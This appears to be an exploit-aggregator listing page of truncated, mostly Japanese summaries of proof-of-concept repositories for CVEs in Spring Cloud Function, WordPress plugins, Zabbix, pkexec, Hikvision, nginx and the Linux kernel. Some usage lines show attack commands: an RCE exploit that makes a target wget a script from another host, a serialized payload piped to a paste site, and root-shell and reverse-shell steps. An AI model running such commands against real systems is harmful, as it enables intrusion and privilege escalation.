CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE エクスプロイト これは、Spring4Shell（CVE-2022-22963）のPython実装です。この脆弱性は、Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Exploit completed $ python exploit.py...

CVE-2024-6366

バージョン3.11.8未満のUser Profile Builder WordPressプラグインのRCE脆弱性を悪用するMetasploitモジュールを作成するには、メディアファイルのアップロード機能における適切な認可の欠如を利用する必要があります。以下に、そのようなMetasploitモジュールを作成する方法を示します。 Metasploitモジュール 以下のコードをwordpressuserprofilebuilderrce.rbとして、Metasploit Frameworkインストール先のmodules/exploits/unix/webappディレクトリに保存してください。...

CVE-2019-15896

CVE-2019-15896 LifterLMS = 3.34.5 - 未認証のオプションインポート 説明 未認証のオプションインポート。これにより、次のような結果を引き起こす可能性があります。 ウェブサイトのリダイレクト 管理者アカウントの作成 コンテンツの注入 保存型XSS これらの問題は 3.35.0 で修正されたと報告されています。ただし、v3.35.1 で追加の入力サニタイズとフィルタリングが追加されました。 使用方法 root@kitploit: $ python3 CVE-2019-15896.py --url http://wordpress.lan --username...

Vulnerabilities fixed in Cisco Secure Firewall Management Center

The vulnerability with reference CVE-2026-20079 is located in the web interface of Cisco Secure Firewall Management Center. An unauthenticated remote malicious party can bypass authentication controls by exploiting an incorrect system process created at startup. The malicious party can exploit th...

CVE-2019-17382-EXPLOIT

CVE-2019-17382 - Zabbix 認証バイパス Zabbix 4.4 以前のバージョンで発見された重大な脆弱性です。この問題は、dashboardid=1 を指定して dashboard.view アクションにアクセスした際に zabbix.php ファイル内に存在します。攻撃者はログインページをバイパスし、ダッシュボード作成機能への不正アクセスを取得できます。その結果、攻撃者は有効な認証情報（ユーザー名/パスワード）を必要とせずに、ダッシュボード、レポート、スクリーン、またはマップを作成でき、実質的に匿名で操作できます。 脆弱性の影響...

Dirty-Pipe-Exploit

Dirty-Pipe-Exploit Dirty Pipeエクスプロイト CVE-2022-0847 は、Linuxカーネルの脆弱性 v5.8+ であり、パイプ機構の欠陥を利用して、特権を持たない攻撃者が任意のファイルを上書きできるようにします。これにより権限昇格が発生し、rootアクセスが取得されます。Dirty Cowに似ていますが、より簡単に悪用できます。修正方法: パッチ適用済みのカーネルバージョンに更新してください。...

Apache-OFBiz-Exploit

Apache-OFBiz-Exploit Apache OFBiz CVE-2024-38856 用エクスプロイト 作成者: Alisson Faoli 説明 このリポジトリには、Apache OFBiz で見つかった CVE-2024-38856 脆弱性のエクスプロイトが含まれています。この欠陥により、認証なしの RCE Remote Code Execution が可能になります。 注: このエクスプロイトは教育および研究目的でのみ提供されます。不正使用は違法となる可能性があり、その責任はすべてユーザーにあります。 脆弱性の詳細 CVE: CVE-2024-38856...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 の POC コマンドインジェクション脆弱性。Hikvision 製品の一部の Web サーバに存在します。入力検証が不十分なため、攻撃者は悪意のあるコマンドを含むメッセージを送信することで、コマンドインジェクション攻撃を仕掛けることができます。 Exploit Title: Hikvision Web Server Build 210702 - Command Injection Exploit Author: bashis Vendor Homepage: https://www.hikvision.com/ Version:...

CVE-2021-4034

CVE-2021-4034 pkexec 使用此Python脚本利用pkexec文件中的漏洞，无需提供凭据即可获得root访问权限 · 检测二进制文件是否具有SUID权限，在这种情况下容易受到攻击 root@kitploit: usuario@gatogamer $ ls -la /usr/bin/pkexec .rwsr-xr-x 1 root root /usr/bin/pkexec usuario@gatogamer $ · 运行exploit以获得root访问权限，在这种情况下只需用python3执行它，完成后你将获得一个root shell root@kitploit:...

CVE-2020-9047

使用方法/ヘルプメニュー root@kitploit: usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of exacqVision We...

Vulnerability handling is handled differently in GitLab Community and Enterprise editions.

GitLab has identified a vulnerability in both the Community and Enterprise editions of the platform. The vulnerability resides in the repository commit API, where path traversal is possible. As a result, unauthenticated users can read arbitrary files on the system. The root cause of the...

Exploit for Use After Free in Linux Linux_Kernel

No d...

CVE-2017-11882

CVE-2017-11882 元のスクリプトは https://github.com/embedi/CVE-2017-11882 から CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Research:...

Mitel-MiCollab-Auth-Bypass_CVE-2024-41713

CVE-2024-41713 Mitel MiCollab 認証バイパスから任意ファイル読み取り 技術的な詳細については、ブログ記事を参照してください root@kitploit: / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / / watchtowr-vs-MiCollab2024-12-05.py Mitel MiCollab Authentication Bypass and Arbitrary...

CVE-2026-68398

CVE-2026-68398: Ubuntu PPPoL2TP の use-after-free によるローカル権限昇格 このリポジトリには、CVE-2026-68398 のビルド固有のローカル権限昇格エクスプロイトが含まれています。これは、PPPoL2TP の受信処理と、未接続の PPP チャネルの破棄との間の use-after-free 競合です。QEMU 上で、公式 Ubuntu 22.04 パッケージ linux-image-5.15.0-187-generic（5.15.0-187.197）に対して検証済みです。 最終テストは、補助グループ、ケーパビリティ、sudo...

CVE-2025-39538

🛡️ CVE-2025-39538 - WordPress WP-Advanced-Search = 3.3.9.3 任意ファイルアップロード CVE-2025-39538 公開日: 2025-04-16 脆弱性タイプ: 任意ファイルアップロード（危険なタイプのファイルの無制限アップロード） 影響を受けるプラグイン: Mathieu Chartier による WP-Advanced-Search 影響を受けるバージョン: 3.3.9.3 までの全バージョン...

cve-2020-9006

CVE-2020-9006: Wordpress Popup-Builder プラグインのエクスプロイト Usage: root@kitploit: Create and upload payload Also see: php create-serialized-payload.php -h $ php create-serialized-payload.php | curl -F 'sprunge=-' http://sprunge.us http://sprunge.us/XXXXXX Run exploit $ nmap --script ./cve-2020-9006...

CVE-2024-38077-MadLicense-exploit

CVE-2024-38077 MadLicense - 完全なエクスプロイトフレームワーク 📚 プレゼンテーション用技術ドキュメント このドキュメントでは、フレームワークの各コンポーネント 、存在理由 、および最新Windowsでのヒープバッファオーバーフローエクスプロイトの仕組み を説明します。 🎯 CVE-2024-38077 とは？ 脆弱性 Windows Remote Desktop Licensing Service（lserver.exe）は、CDataCoding::DecodeData 関数にヒープバッファオーバーフロー が存在します。 root@kitploit:...

CVE-2026-42945_NginxRift

🚀 NGINX Rift PoC Automation — CVE-2026-42945 nginx-rift コンテナのRCEエクスプロイト用 PoC Automation Driver · ターゲット検証 → シングルコマンドエクスプロイト → 対話型リバースシェル 1つのコマンドが、コンテナ確認からシェル取得までのエクスプロイト全体の流れをオーケストレーションします。 ⚠️ 倫理的・法的警告 このツールは正当かつ許可を得たセキュリティテスト専用 です —...

CVE-2023-32233

ビルドと設定 以下の手順は Ubuntu 23.04 Lunar Lobster でテスト済みです。 ビルド依存関係のインストール 次のコマンドを実行してビルド依存関係をインストールします: root@kitploit: sudo apt install gcc libmnl-dev libnftnl-dev バイナリのビルド 次のコマンドを実行して PoC バイナリをビルドします: root@kitploit: gcc -Wall -o exploit exploit.c -lmnl -lnftnl プロファイルの更新 組み込みプロファイルには、Ubuntu 23.04 Lunar...